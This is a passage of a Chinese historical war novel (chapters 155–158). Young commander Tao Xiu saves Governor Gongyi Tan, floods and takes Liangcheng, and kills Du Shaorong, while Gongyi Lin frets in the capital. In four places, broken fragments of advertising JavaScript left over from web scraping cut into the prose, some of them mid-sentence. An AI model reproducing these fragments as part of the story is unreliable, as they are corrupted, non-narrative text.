然,杜毅并不老,四十来岁,身强力壮,此刻正盯着因打仗而失了风度的公仪檀,两年前他见过一次公仪太守,人群里那人宽衣大氅,儒雅干练,今日被打的只剩干练了。 “给我杀啊!!” 杜毅一马当先,手提长矛冲过木桥,站到高台村的地界,紧随其后的周军纷纷跳过小河又迅速爬上来,两军杀成一片,战马嘶鸣、鼓声雷动,人心振奋。 公仪檀打马向前,以万钧之力冲向杜毅,杜毅则来势汹汹,两匹马擦身而过,带起劲风,锵然碰撞的长戟把手掌震的发麻。 两人一句话都没有搭过,埋头苦战,口里喷出的都是要致对方于死地的粗气,斗了二十多回合还难分上下,也挑不出敌手攻防时的缺陷。 高台村 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 多年没有流血事情发生,这场打斗很快就染红河岸碧绿摇曳的春草,即便陈军昨夜出现短暂的败局,此刻面对气势昂扬的周军也没落了下风。 两方在战斗中艰难地耗着,却突然发生一件事改了陈军的局势。 两军交战时,作为平头百姓的高台村名都被限制在家中不许出来。坏就坏在从村里临时挑出的十四个年轻人参战。其中两人重伤倒地后很快死亡,哪知躲在暗中看热闹的多名同乡混入生死场抢夺尸体。 手无寸铁的百姓很快被周军砍伤砍死数名,惨叫和倒地的尸体产生连锁反应,恐惧和退缩波浪一样层层荡过陈军,陈军势气被大大消减。 剩下的就是周军肆无忌惮的反杀。 公仪檀和杜毅正斗的难解,忽见将士边打边往村舍里退,他丢开杜毅冲进军中边杀边喊:“退缩者立斩。” 败势已生,他的喝令无法挽回。恰此时杜毅从后追上来,对着公仪檀的后背猛刺一枪,这一枪把公仪檀掀翻落马。 杜毅狂笑一声调转马头回杀过来,眼看那一枪要照着公仪檀的胸口刺下,在外围厮杀的陆青见状,朝杜毅狠狠投出一根长矛。 杜毅迅速躲开,手举长枪再次杀向公仪檀时,有士卒大喊一声:“有援兵,援兵来了。” 地动山摇,万马奔踏,在日薄西山灰蓝的暮色中,一队似能横扫一切的铁骑正往此驰骋而来。 轰隆的铁蹄把高台村这个久不经战事的村庄震的颤颤巍巍,河水簌簌发抖。 杜毅睁大眼睛,惊慌失措,这绝不是他的援兵。 公仪檀目瞪口呆,一时间忘记肩头的伤痛,愣愣盯着渐渐逼近的骑兵,这也绝不是他的援兵。 骑兵渐近,陈、周两方不约而同停止酣斗,翘首以盼,都想弄清这天降的骑兵是要助谁。 当两面“陶”字旗帜出现在视野时,两方还很懵,希冀和恐惧在两方将领心头盘桓,这他娘的究竟是哪方的人? 驰骋在最前端的是个年轻人,率一众逆着日落的金光,身影拉长,面孔逐渐被看清,头束蓝色大巾,身穿棕色裲裆甲,腰系红色大带,那张脸严峻凛然,身体微微伏低于马背上,身背长剑,右臂提戟,纵马驰骋气势磅礴,不等人再细看,只见他直奔周军的骑兵,一枪/刺出,把对方连人带马都戳翻在地。 “好啊——” 看清真相的陈军狂呼呐喊,“我们的人,是我们的援兵。” 冲进战阵的骑兵骁勇无畏,长枪带血、铁蹄铮铮,在人群里横冲直撞,迅速力挽陈军败局。 杜毅从惊愕中回过神时已失去斩杀公仪檀的时机,调转马头直奔腰系红带的年轻人。 擒贼擒王,陶修也在人群里找敌军的头领。 陶、杜二人在嘈乱的人群中刚搭上眼,就像结了几世的仇恨,不由分说,疾风似的杀过去。 杜毅与陶修仅交战七八回合就感觉此人比公仪檀强太多,这个年轻人出枪的力道强劲,枪法既快又狠,有几次险些刺中护心镜。杜毅躲到丈外重新调整斗姿,一条虚虚痒痒的汗从鬓角滑落,吓得他浑身发寒。 陶修目光凛然,打斗的态度谨慎犀利,像头捕食的胜券在握的狼,狠戾地锁定杜毅。两人拍马逼近,罡风猎猎,陶修挥枪迎上,枪尖直刺向杜毅,杜毅急切后仰,那蛟龙似的锐器还是从他脸堂擦过,热乎乎的血覆上左颊。 公仪檀看得呆住,没料到陶修几个回合就能伤了杜毅。 155.请杜公子还箭 两把长枪激烈交锋,电光火石,深沉的暮色下二人浓重的剪影打得酣畅淋漓,不过厮杀过程很短暂,人们在火花四溅的刹那看见杜毅胸膛的护心镜被穿透,他捂住中枪的伤口飞快调转马辔,仓皇逃跑,连疼痛都来不及感受。 陈军齐声呐喊,潮水般掩杀上去。 天已黑得需在逃跑时注意脚下的障碍,陈周两败俱伤,一个疯狂逃命,一个惊魂未定不敢追击,收兵的金击声震动耳膜,将士们卸下防备大口喘息。 公仪檀被人搀着走向正清点人马的陶修,犹豫片刻还是抬手施礼道:“陶县尹,你为何会出现在这里?” 陶修把余下的事交给胡峤,两步走到公仪檀跟前,气定神闲还礼道:“太守,此事说来话长,容我先查看兄弟们的伤势再跟太守回明。” “好,你先处理你的事。” 公仪檀轻轻推开搀扶自己的小卒,对陶修的身影充满好奇,此人经过刚才那番力战居然大气都不喘一下。杜毅在陶修的枪下像只迷踪失路的耗子,无论他耍哪般招数都被陶修一招克制。 从前还真小看了此人,这场差点无可挽回的局势更是靠陶修才走出死局。一根根火把点燃,公仪檀把受伤的兄弟们都看过一遍,为伤亡的将士们黯然神伤,独自沉默了很久。 他回望远处有条不紊聚集在一起的骑兵,目测不足一百人,但在陶修的率领下却打出了几百人的气势。他走到陶修身后问了一句:“你带了多少人?” 陶修道:“八十九。” “一百人都凑不齐?” “骑兵太珍贵,我留了大半坚守漳南,这些兄弟都是精兵,以一敌十也不夸张。” “有无伤亡?” “胡峤替我点了,没有伤亡。” 公仪檀“嗯”了一声,“先收兵回高台村。”话刚落音,突然有个斥候冲到他面前,紧急回禀:“五里外有支大军直奔此处,天色昏暗看不清数量,也看不清旌旗。” 公仪檀脸色大变,下意识用目光求助陶修。 陶修亦惊惧万分,又猜测可能是自己带来的将士,翻身上马道:“太守坚守此处,我去探探是敌是友。” “慢着,”陆青叫住陶修,对公仪檀说:“太守,是马尧生的兵马。”他命那斥候再探,认清旗号再来回禀。 既然是援兵,公仪檀紧绷的身体陡然松懈下来,扶住一名小卒的肩头,有气无力道:“找人给我治伤。” 陶修这才发现公仪檀整个背部都被血迹染的湿濡濡的。 这是高台村房舍最好的一户,家主很乐意把屋子让出来给几个将军住下。 屋内点了几盏油灯,亮度足够医工给公仪檀治伤。公仪檀趴在床上嘴咬麻布,冷汗岑岑任医工在他身上“穿针引线”。 这里要在太守面前嘘寒问暖的人太多,轮不到陶修帮忙,他全程都正襟危坐于竹席上,目不斜视,一动不动。 趴在床上的公仪檀透过眼前人留出的空隙一直在打量陶修,看见此人就令他想起兄弟公仪林,所有的好感顷刻就消失殆尽,说得粗俗一些,此人是靠欺骗、迷惑公仪林的感情才能达到今日的位置。转念一想,他本就是梁国宗室,陈国小小县尹又岂能放在眼中,他肯留在陈国不知是出于何种目的。 公仪檀拽下口中麻布,问:“现在说说,你为何会出现在高台村?” 陶修转过身,恭敬地回道:“扬武将军的大军三日前抵达寿阳,与贺功臣隔河对峙,两军谁都不敢轻易发兵。我听探子回报公仪太守正在此处与杜毅胶着,为及时扫清梁城对大军后方的威胁,鲁将军命我领兵来助太守。来的路上又听闻太守昨夜被逼退在高台,我先率骑兵赶来相助,恰遇两军恶战,还好来得及时。” “确实来得及时,陶县尹少年勇武,上来就灭掉周军气势,杀了杜毅半条命,我在此扎营七八日都不及你一炷香时间打下的功劳大,我很敬佩你的能力。” 他语调平淡,没有感激也不是怪腔怪调,陶修听不出是真心夸赞还是话中藏刀,只得另起话题问:“杜毅兵败回城恐怕更不敢出战,太守与之耗着绝不是长久之计,不知下一步太守打算怎么走?” 医工“咔嚓”一剪刀结束了完美的“绣”品,叮嘱道:“太守需静养。” 公仪檀哪肯让这点小伤拖累,当即从床上爬起来坐稳,试着摆动与伤口牵连的左臂,抬头对陶修道:“明日攻城。” “明日?”村里正躺了几百伤患,这绝不是攻城的好时机,陶修犹豫一瞬便领命道:“陶修听令于公仪太守。我的人马下半夜就到此处,若没有其他事情我就先告退,请太守早些歇息。” 他起身刚走到门边,被公仪檀一声叫住:“陶修。” 公仪檀披了件单衣慢慢走到跟前,目光在他腰间的红带上落下,鲜红的绸带穿过白色连环玉紧束于腰间,使他身上坚硬粗糙的裲裆铠多了几分柔和,公仪檀摩挲带尾熟悉的纹样,问:“哪里的?” “友人所赠。”陶修直言不讳。 “这条红带柔软细腻,一看就是贴身之物,你为何要系在身外?” “因为是非常重要的人赠送,是个寄托,我希望能时时看见它!”陶修瞧着公仪檀忍气吞声的脸,暗暗地想笑:你还想知道什么,我一并告诉你。 “哦,”公仪檀心力交瘁,从头到脚都很疲乏,“你也去歇息吧。”那条腰带只是寻常物件,他还记得那年来临川上任前,为讨因离别而哭泣耍赖的兄弟的欢心,他从集市上一股脑买下许多东西送给小弟,其中一件就是这绣了两只水鸟的红绸大带,他指着上面两只鸳鸯欺骗小弟:“这是黑水鸡,一个是你,一个是我。” 才十岁左右的公仪林深信不疑,还真把鸳鸯当成相亲相爱的水鸡兄弟,真不负他傻二公子之名。 “哼,居然互赠起腰带来了,荒唐,实在荒唐。”公仪檀怒拍门框,把陆青吓一跳。 “太守,何事荒唐?” “什么都荒唐。” 以为自己要死在路上的杜毅仓皇逃回城,紧闭城门坚决不出。他扒开层层叠叠的铠甲、护心甲、葛衣,终于露出血淋淋的伤口,长长舒口气:“幸好多穿一层护心甲,险些死在那混小子手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 中,你们有谁认识他?” 从高台村逃回的部下个个面面相觑,没有一个认识那“混小子”。 杜少容见父亲伤的狼狈,怒气填膺,拍着胸脯上前问:“父亲描述伤你之人的相貌,他若再来,我定叫他有来无回。” 杜少容身高体壮,一身好武艺,但没有战场上的经验,杜毅摆手道:“那人出枪毒辣,你恐怕不是他的对手。” 这时有人接了句话:“没想到公仪檀手下竟有此年轻勇猛的小将。” 杜少容一听这话,胜负欲暴增:“有多年轻?” “天色暗淡,看不清相貌,约莫二十岁。” “哼,与我一般大,父亲,我一定替你报此仇。” 公仪檀欲第二日攻城的计划被搁置了,昨日那一战伤亡惨重,他也因伤势反反复复发烧不起,陈周两边暂时歇战。 陶修用此时机带上十几骑兵去梁城勘察地形,堂而皇之绕着敌方的城池转了三遍,他虽未令人在城下挑衅叫骂,其嚣张从容的态度却气得周军不停放箭撒气。 落日西下,残阳在宽阔的河面上镀了层金光,胡峤问陶修:“城主想到破城的计策了?” 陶修凝望粼粼波光的大河说:“此河我没有打听到名字,它西接淮水,东连梁城的护城之河。梁城的护城河虽把东门护的四平八稳,但你发现没,梁城地势低,若是引水灌城,一定能逼得杜毅开门投降。” “引水灌城耗时历久,这个办法短时间内无法拿下杜毅。” “确实跟杜毅耗不起,但十日之内必须攻破此城。” 三月淮河水涨,梁城的护城河水位渐渐升高,河水流速缓慢,幽绿温和,包围近一半的梁城。陈军从梁城西面城墙最薄弱处开沟挖堑,几千人挖河筑堤的规模十分宏大,仅两日就把护城河拦腰截住,并顺利将水引向城垣。 陶修、陆青则另率兵马监守于梁城东门和西门。 誓与陶修有不共戴天之仇的杜少容在部将指认下很快就认清仇人的面孔。他徒劳地朝城楼下的陶修射出一支又一支利箭,把射不中的箭权当作练手。 杜少容每射一支,陶修就令小卒将箭捡回来堆放在脚下,待凑够二十支时,陶修问身边的将士:“欲看我射箭吗?” “想看,城主射回去。” 他卷起双袖,从容接过一支箭,对城楼上忍气吞声、面色紫胀的杜少容喊道:“请杜公子纳箭。”箭矢离弦,那箭就如生了双目,直插对方绑旌旗的木桩。 杜少容刚拔下一支,另一支又凌厉地擦着他耳际掠过,稳稳当当陷在墙体内。 “少主,你站的位置太显眼,小心中箭。” 杜少容咆哮一声:“速开城门,我现在就与他决一死战。” “难道少主看不出来此人在激你。” 陶修把脚下二十支箭射完,故意拱手施礼,高声笑道:“请杜公子还箭。” 杜少容气得眉心抖动,抓起披风猛地向身后掀开,大步走下城楼,再待下去可能先被敌人气死,胸口堵的这口气必须与那猖狂小子杀上一场方能散去。 156.不服的话少说 引水灌城第三日,河水在墙垣下蓄有一尺多高,泥筑的高墙慢慢吸纳水分,就像吸了城内人的心头血,吸得人心惶惶。 那夜突降一场大雨后天气一直阴沉沉,浓厚的乌云压得城内军民人心不定,已有大量污水顺着河道涌入城内,取上来的水要沉淀许久才能饮用。 杜少容虽已在陈军欲打穿的那面墙附近重兵把守,但环绕在心头对陈军的恨意和百姓想尽办法过来打听军情的恐慌模样已无法让他冷静。 杜毅的伤势仅能够在院中缓慢走动,他多番劝说儿子要耐心镇定,再坚持几日一定能等到援军,但杜毅心里明白,唯一能救此城的寿阳正被鲁云渊牵住。 第四日,梁城大门再次打开,三百精锐士兵一字摆开,皆赤膊上阵,杜少容违背父命坚持要与陈军血战,他披坚执锐横刀立马,指着陈军阵前显眼的年轻人猛喝一声:“我观察你多日,却不知你姓名,报上名来!” 陶修牵动马辔上前几步,镇定自若,朗声答道:“漳南县尹,陶修。”他目测敌方军容,赤膊壮汉身后是骑兵,骑兵之后是八辆战车及高架的强弩,再后面只有不到一千步兵,看来杜少容把主要兵力都留在城内,又想用这些精锐以小博大。 陶修对身后的胡峤道:“列阵于我们面前的都是周军精锐人马,若能破了他们,拿下此城就在须臾。” 胡峤拍马上前,拔出身后大刀,自告奋勇:“城主稍后上阵,容我先去痛快的杀一场。” 兵戎相见刀剑无情的战场,长兵器的优势不言而喻,这胡峤该换换兵器了。 “周陈两国一向安好,你们突然发兵引来战乱,蔑视太平践踏生灵,是百姓都不能忍,你们这不得人心的出师一定会败,必会败得惨不忍睹。”杜少容斥责陈军之后,继续激励自己人:“胜负在此一战,弟兄们同心戮力。” 胡峤粗糙地怒吼一声:“打则打矣,废话少说。” 鼓声擂动,高呼的人声冲破云霄,三月上涨的河水被浑厚的声势震起微不可见的水珠。两军于护城河前宽阔的场地上展开激战,杀声四起后便是从四面八方传出的哀嚎,乱箭飞矢、刀光剑影,带着锋刃的战车在群人里疯狂割戮,四溅的鲜血被潮湿的黑泥融合。 胡峤的双刀在如林的长戟长矛丛中并不受限,挥舞大刀横冲直撞,切菜一样斩杀敌人。因他过分血腥的杀戮,飞快引来周军团结一致的报复,十几个周军将他围困垓心,长矛刺向马背,弓弩对准他的胸膛,他满身污血从倒地的马背上站起来,继续发疯、撕咬人群。 周军的骁勇者们以被入侵的被动位置激烈反抗敌人,杀的勇猛无畏,视死如归。 一直在观战的陶修见周军越杀越猛,拔了插在地上的长戟带几十骑兵冲进阵中。 另一边的杜少容正监视他的一举一动,见那抹鲜红的腰带冲进战场,也随即迎上去。 这是陶修第一次真正亲临战场,地上的残肢断骸使他想起幼时经常听到的故事,陶彪为恐吓他而讲了许多关于残杀的战事,他常在深夜血雾弥漫的噩梦中醒来,大汗淋漓,倚靠在墙上坐至天明,陶彪的故事和一个又一个恐怖的梦境曾给他留下太多阴影,但都不及眼前真实的搏杀来得残忍,冰冷残酷,血肉横飞,在这乱世中费尽心思挣扎着活下来的鲜活面孔顷刻就被刀剑吞噬。 速战速决,杀了敌军将领,迅速结束两方的战斗,陶修凭此信念,仅一招就杀了杜少容。 杜少容瞪大双目栽下马的那一刻,围绕在他们身边的所有人都被震惊住,两军无法及时反应,望着那人从脖颈喷出半人高的血柱目瞪口呆,望着那人在地上伸长手求生片刻就没了声息。 “杜少容死了,周军将领死了——”这声吼叫止住了恶战,霹雳乓啷的兵器停止叫嚣。 周军惊骇星散,争相往城内涌。 杜少容永远想不到自己连展示武艺的机会都没有就死在敌人的长戟下,他最后的视线里映着一道矫捷的身影,是骁勇无畏迎着他手中锋刃而来的年轻身躯,和一抹刺目的红带,是奋不顾身、不在乎性命的撞击,杜少容在年轻人汹涌而来的气势前仅一瞬间的迟疑和胆怯,利刃就已割上咽喉,他脚底的坚土融化,沉陷于茫茫的黑暗中,再见不到光…… 原来这就是战场。 陶修在马上静静等着,直到杜少容气绝于地,才奋力举起长戟高声呼喝:“攻城——” 陈军开始疯狂掩杀,闯过护城河,在泥泞如沼泽的土地上疯狂涌进东门。 在正东门前,无论是溃散的周军还是得胜的陈军,突然齐齐停下步伐让出一条道,为投降的杜毅让出一块宽敞的空地。 杜毅褪下外袍身着白衣,跪在肮脏的污泥中,双手捧上印绶,对缓缓走来高坐于马背上的陶修喊道:“梁城县尹杜毅,出城投降。” 陶修接过印绶高举过顶,在人群中静静走过一圈,要使众人亲眼看见战斗已经结束,那张年轻的面孔带着与其年龄不符的冷峻和严肃,没有得胜者的得意和狂妄,只是平静地告诉水火不容的两边将士:“梁城已属大陈,这场仗结束了,从现在起卸甲止戈,不作无谓的挣扎和反抗,不管此城属陈还是属周,城中一切照旧。” 陆青和胡峤解下周军武器,将部分士卒遣散为民,杜毅被看管在旧宅,梁城之主暂由公仪檀代之。 梁城被攻下之后,公仪檀作为攻城的唯一将帅,其威名迅速传至寿阳周边几个小城小县,几个武备不足小县之主担惊受怕,已随时做好投降的准备。 与此同时,卢思苌的大军攻克天长的捷报也传至北伐的各路大军及都城建康,陈国朝堂欢天喜地的同时,周国上下却是另一番景象。 陈军挥师北上的消息一传至周国都城大兴,朝堂上下在震惊之余,全体痛骂陈国目空一切自寻死路的行径,周主更是几番怒拍稳稳当当的大宝座发着雷霆之怒,“朕早就有扫平江南之意,陈国守着巴掌大的地盘不思如何保疆守土,竟敢兴兵北上先破坏两国的和平,可恨,可恨。既然他陈国先撕破 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这层关系,就别怪朕重新颠一颠这天下,这可是他们自己敲响的亡国之音,他们给朕磨好刀斧、诛其头颅。” 周国征召距离寿阳较近的并、肆几州的大军共二十万兵马,兵分四路分别增援寿阳、枞阳和钟离,第四路人马则出其不意开向郢州。 攻下梁城之后,陶修带自己人马返回漳南,早已等不及打听战况的周石就守在城门前,见前方尘烟漫天,大地轰隆,立即拍马迎上去,挥舞手中自制的得胜用的藏青小旗,高喊道:“城主,城主回来了!” 他勒停骏马,双目炯炯,兴奋地问:“你离开这八/九天,我没有一日不在城楼上等消息,就怪你不让我跟着同去。究竟是哪般打法,这么快就拿下梁城?我们训练的人马派上多大用场?” 陶修见他火急火燎对战场上的事十分上心,故意吊着他:“兄弟们累了,我也累了,回去再讲。” “好,好,先休息。” 周石落后几步绕到胡峤面前,问了相同的话。 自江陵见识过胡峤的本领,回来后陶修就将胡峤从张城处提携到身边,深恐埋没他的能力。胡峤有剑客的胆魄、义气及忠诚守信,他跟定的主人必对之唯命是从。他跟在陶修身边从不多言,视陶修性命为己命,更何况陶修的想法和意志,同样是他的想法和意志。 这周石凑过来打听经过时,一根筋的胡峤照样冷声回答:“城主累了,回去再讲。” “他累又不是你累,动动嘴皮的事。” 回了城,落了座,喝了茶,陶修方对留在漳南守城的张城和周石细述打仗经过。夸赞周石训练的骑兵在高台村给敌人致命的打击,在东门冲锋陷阵时如何力敌赤膊上阵的周军,把临川郡将士的军容也夸奖一遍,就是不提自己在战场上的功劳。 众人听后有点意犹未尽,总觉得还差点什么,坐在最末位置的胡峤冷不丁发言:“城主一招杀了杜少容。” 他一向沉默少言,难得开口讲上一句,听的人就格外注意,他们细细回味胡峤这句话,忽然把目光投向陶修。 周石睁大眼睛:“一招杀了杜少容,他如此不堪一击?” 张城:“是你杀了杜少容?” 周石的关注点让胡峤很不满,他又强调一遍:“杜少容魁梧彪悍,城主仅用一招。” “是你杀了敌军将领,为何这风头和功劳却让给临川郡的太守?”张城忿忿不平,“周围几个郡县都在传讲公仪檀的威名,说他诈败引杜毅出城再反戈一击,杜毅之子也是死于他手,口口相传的事果然不能真信。” 陶修抬手压下他们的怒火,反问一句:“你们拼死跟我打仗,得胜后谁功劳最大,必是稳坐军帐里筹谋划策的我,打了败仗又是谁要被追责,也是指挥你们杀敌的我。公仪太守是攻梁城的主将,我们是受鲁将军之名增援公仪太守,不服、不甘的话以后少说。” 张城:“好,不提不提。那你是如何一招致胜的?” “鲁将军那边战况如何?” 157.我们不是这样 距离寿阳主城二十里外的东、西两侧,地势平坦宽阔,大小河流分支交叉,形成两处易守难攻的地形,寿阳大半兵马都屯于这两处,东面大营名曰善胜,西面曰常胜,两处大营壁垒坚硬、布防严密,敌军的鸽子都不能顺利飞过。 陈军兵临寿阳时,听闻陈军主力还在水上飘着,贺功臣当即率两千骑步兵迎头痛击敌军的先锋部队。 斥候飞速回营向鲁云渊通报二十里外敌军来袭,鲁云渊镇定自若,立在中军的牙旗下挥旗指战,两军在河池村外一处旷地对阵。 这是两军的初次争锋,在拿下寿阳长达七个月之久的战斗中,这仅是牛刀小试。 三月初的野外,初开的花和灌足春雨长势凶猛的麦子散发清香,风和日丽,几千铁血的汉子殊死搏斗,把本该踏青游玩的野地糟蹋成猩红的地狱。 扬武大将军的金黄色帅旗和大写“贺”字的赤红牙旗在风中招展,贺功臣与鲁云渊隔着地狱相望,操控手中的将士冲锋陷阵,旗帜舞动,两军阵型变化多端。 最终陈军第二批人马以长蛇阵包围周军而决出胜负。 贺功臣试探陈军实力的目的已达到,下令撤军,骑兵冲破陈军的长蛇阵迅速撤退,短短两刻时间就从野地撤的无影无踪,留下东倒西歪的旌旗和痛苦哀嚎的伤员。 击败周军后,鲁云渊继续行军,在离寿阳仅四十里外的漳口扎营。陈军挖沟开堑,高壁深垒,三日时间就建起一座固若金汤的大营。 鲁云渊得知对手的大营分别叫善胜与常胜后,捋着粗糙浓密的胡须紧盯敌军大营的方向,迅速将刚建起的堡垒起名“必胜”。 撤军后的贺功臣直接退回善胜兵营,立即巡视兵马粮草,他对参军王文涛道:“鲁云渊久经沙场锤炼,今日这一战对他而言就像开胃小菜,绝不能等到他大军集结,传令下去,明日再与敌军一战。” 从梁城得胜回来的陶修问及寿阳战况时,陈、周两军已开战两场,两场都是陈军小胜。 至三月初十,陈军几百艘大船浩浩荡荡从水路开来,大量兵力、辎重从沿漳河排开的楼船上源源不断走出、卸下,舳舻千里,无边无际,蔚为壮观。 陈军在漳口扎下两座营垒,磨枪砺剑,贺功臣却不敢轻易出头。 卢思苌、鲁云渊两路大军连续攻克多座小城的捷报传至建康,陈主与文武臣子喜极而泣,大好形势似乎再现十几年前吴大将军北伐的成果。 但重要的两处重镇寿阳和钟离还在战事最激烈的阶段,要想控守淮南,这两座城就必须夺下。整个朝堂都在商议是否在此紧要关头再拨兵马援助卢思苌和鲁云渊。 杨宏易反对陈军高歌猛进的情况下再出兵增援寿阳,他对陈主道:“我军现在势如破竹,鲁云渊六万大军,兵多将广,粮草充足,对付一个小小寿阳何须再增兵。陛下该把主要兵力放在京师和长江的布防上,以防信州水师突然东下。” 周国在信州组建一支庞大的水师,为测试这支新建水军的力量,曾多次无视梁国的江津、巴陵的颜面,直达陈国江州进行骚扰。但自萧钰做陈国郢州刺史,在长江下游严密设防,对来犯者毫不手软,几次击退信州的毛手毛脚,才不令周国水师肆无忌惮到下游挑衅耍威。 信州水师的日益壮大,确实成了大陈的心疼之患。 杨宏易的提议没错,不能抽空京师的兵力驰援前线,何况前线正攻无不克,连战连胜。 如此一来,没有机会奔赴战场的右卫将军公仪林茫然了。他按部就班、日日如一去上值,对护卫京城单调乏味的日子越发排斥、焦躁,前方捷报传来宫中,他欣喜之余连番向驿使打听战况的细枝末节,得到满意答复后又望空吁叹,几乎抑郁出心病。 公仪林几次向陈主直言要上前线领兵打仗,陈明俨断然拒绝:“公仪将军护卫京城的重责,又比卢将军轻吗?” 不知是壮志未酬还是思念入骨,走出东阁的公仪林站在丹墀上眺望远山,整个京城内外鸟语花香落英缤纷,而他觉得自己在游手好闲中荒废了大好时光,长吁短叹一阵后走下丹墀,只能去安清楼找陆颢一吐心中郁闷。 楼下有一株细瘦的银杏树,嫩绿的枝叶还没完全抽展开,在正午的日头下投了一片稀薄的阴影。公仪林和陆颢躺在树下,像两个被养在深宫里无所事事、闲散慵懒的娇人。 “我才觉得自己这么没用,卢、鲁二将军、我哥在前线出生入死,你看看我在做什么,化日光天、千里同风,真一副太平景象,你看我活得真潇洒啊。” “几年来我们一直如此,为何近来心事重重,说话也神神道道?” “梁城和招县是谁打下的?是公仪檀打的啊。” “虽未见过临川太守的面,他打下梁城的英姿已立在我这里。”陆颢戳戳心窝,满心佩服。 “卢将军一路攻克五城,现正在钟离与周军剑拔弩张,我究竟是何等的幸运,还能晒着太阳跟你闲谈。陆武卫,我该去打仗。”公仪林把大氅的袖子覆盖在晒得滚烫的脸上,隔着袖子发出模糊不清的声音。 陆颢笑了一声:“世家子弟谁不想找个清闲差事混日子,怎么你还想着冒死?” “你呢?” “我?”陆颢掀开他脸上的袖子,让他听清自己要说的话:“蒋授之前的左卫韩玉,在吴将军被困彭城时率军救援,结果全军覆没,与吴将军同时被捕。你最好盼着前线用不着你,等你与蒋授都需带兵上战场时,恐怕战事已蔓延威胁到京师,决不能有那一天。我也想,我也想试试腰间这把剑究竟厉不厉。” 陆颢勾起嘴角露出坏笑:“只要我想,我就能比你先上战场,但我想跟在公仪右卫身后。” “陆武卫,你跟妻子感情如何?” “额??”陆颢被他极跳跃的话题弄得发愣,“怎么突然提起这个?谈什么感情?那是年轻人才会赋予它 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的东西。” “你离开她久了,会思念至哪种程度?” “不对劲啊——”陆颢倒吸一口气。 这个右卫确实年轻,初来建康那一二年陆颢还将他当孩子对待,但官场浸淫几年,这年轻人身上少不得染上故弄玄虚、对谁都戒备的气质。陆颢与他近距离的接触与共事,才能从他冷漠的面皮下看见年轻人固有的朝气和热忱一面,不了解的人一见他则是能躲多远就躲多远。 今日这话题开的有点大。陆颢支起右臂翘起上半身,眯眼打量落了一脸光影的年轻人。 公仪林睁眼扫回去:“你回答就行,我脸上有花?” “和你聊这个话题感觉怪怪的。”陆颢顿了一下,认真思考他的问题,“没有思念。” “没有?”好似情窦初开的公仪公子跳起来再次确定:“为什么会没有?难道你不,你不爱她?” 陆颢笑他天真:“周、陆、薛包括你公仪家,彼此联姻、结亲的还少吗,几人娶的是心头爱,何况感情这东西本就虚无缥缈,和谁不能同床共枕,再生个与自己关系冷漠的儿子,众人不都如此?” 公仪林眼神暗淡,有种被真相撕开后的失落,回想家族诸位堂兄和夫人之间若即若离相敬如宾的模样,好像众人皆如此,喏喏自言一句:“连你也这样?” 他泄了气,“嘭”一声躺回乘凉的竹床上,头顶晶绿的银杏叶在阳光下嫩的刺眼,他突然赌上一口气,中气十足,沉声道:“我们不是这样。” “你们?你们是谁?不是哪样?” 公仪林侧过头盯着陆颢,松开紧蹙的眉头舒朗一笑,“我心里的人,一定跟我同心。” 他从凉床上一跃而起,拍拍躺皱的衣裾,提上银杏树边的宝剑,对云里雾里的陆颢说:“跟我去石头城?” 石头城储备大量军械粮草,船影如森、水师数量充沛,是护卫京师的最后一道屏障。十二月陈国准备北伐之际,京口大半兵力要随卢思苌出征,公仪林暂领丹阳府兵,戍守在石头城,他往来石头城与建康中间,备战不懈,日日操练兵马,两月时间把张白俊的脸晒深一个度,这支军纪号令严整的水师,只等陈主一声令下发兵北上。 公仪林和陆颢站在石头城之巅,北临浩渺东去的大江,江风猎猎衣袂翻飞,他俯视校场,指着落日下他精训过的正收兵回营的将士,“此师是否雄壮?” 陆颢:“未上过沙场,无可评定。” 又遥指多不胜数排合于江面的船只:“楼船艨艟数百,是否雄壮?” 陆颢:“宝剑仍在鞘中,不知其厉害。” 公仪林远望即将坠于江面的一轮红日,对着城墙重重拍下:“真是找死,你句句往我心头戳。静候前线捷报吧。” 京师固然是重中之重,但不去疆场淬炼一番,这个守卫京师的将帅之位又如何令人信服,远方在战场上正拼搏的心上人他又如何能放得下。 158.这叫擒贼擒王 从梁城回漳南第三日,陶修把城中事托付给张城、周石后,带上一千兵马与鲁云渊汇合。 起初,正与贺功臣在郊外准备开战的鲁云渊以为这个漳南县尹不过是个刚把毛长齐的年轻人,对他带来的兵马也没放在眼中,冷冷淡淡将这支千人的队伍编入右先锋曹飞扬军中。 两军于荒郊的澜河滩上展开激战,都以一决生死的决心投入全部兵力。 几年前因一场火被解去枞阳官职的贺功臣,这次拥寿阳重镇,更不敢等待朝廷驰援以留人笑柄,精兵良将在手,贺功臣决定与陈军殊死一战。 他最初听从参军王文涛的计策,严守城池,常胜、善胜两营坚决不战以消耗远道而来的敌军的粮草和心态,但陈军不可估量的水运能力把辎重沿着水路源源不断送到前线,坚守不出这条计策无法行通。 两军在澜河滩的荒地对峙,相隔十数里,旌旗蔽空、无边无沿的士兵喊声震天,气势恢宏。先锋队严阵以待,只等号令下达。 自吴将军被俘被杀,陈国息甲十三年,这是十三年后最大的一场战役。鲁云渊对部下笑称:“贺功臣急于向周主将功补过以雪枞阳的耻辱,我拿到他下的战书时有种置身于春秋时的恍惚感,他说我发兵不义必自取灭亡,不得不让我思索这场战事的意义,这究竟是不是一场仁义之战。” 众人随他豁达的声音一起笑了。他如前几日一样,站在帅旗下指挥千军万马,镇定从容,如此紧急关头还有说笑的心情。 江矶营的战船横亘大江上列阵时,陶修见识过浩大雄浑的军容,但今日澜河滩的几万人马将血染沙场横尸于野的场面是他第一次见。 陶修震惊于数万人的壮观,心潮澎湃,把平日对战争无可奈何的矛盾抛诸脑后,横戟在手,紧盯远方乌压压一片的敌人。 鼓声震天,军威赫赫,这场恶战将定下乾坤。 贺功臣兵分三路,分别袭击陈军三处驻扎的营垒,澜河滩是两军主力所在。 旷野上的两大阵营都已排兵布阵完毕,只等开战。鲁云渊手搭前额眺望远方的敌军,等候探子的消息。 不多时三名探子回报:“周军以战车把两翼围的密不透风,只有前后方是薄弱处。” 